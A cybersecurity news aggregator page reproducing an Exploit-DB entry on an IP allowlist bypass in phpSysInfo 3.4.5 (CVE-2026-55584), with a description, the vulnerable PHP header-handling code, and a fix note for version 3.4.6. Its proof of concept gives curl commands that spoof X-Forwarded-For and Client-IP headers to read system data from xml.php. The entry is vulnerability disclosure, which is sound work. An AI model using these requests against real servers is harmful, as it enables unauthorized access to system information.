Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Exploit-DB

[remote] phpSysInfo 3.4.5 - IP Allowlist Bypass

  • What: phpSysInfo 3.4.5 has an IP allowlist bypass vulnerability
  • Impact: Unauthorized access to system
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING phpSysInfo 3.4.5 - IP Allowlist Bypass EDB-ID: 52648 CVE: 2026-55584 EDB Verified: Author: MUHAMMED MIRAC KAYIKCI Type: REMOTE Exploit: / Platform: LINUX Date: 2026-08-17 Vulnerable App: # Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies. Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article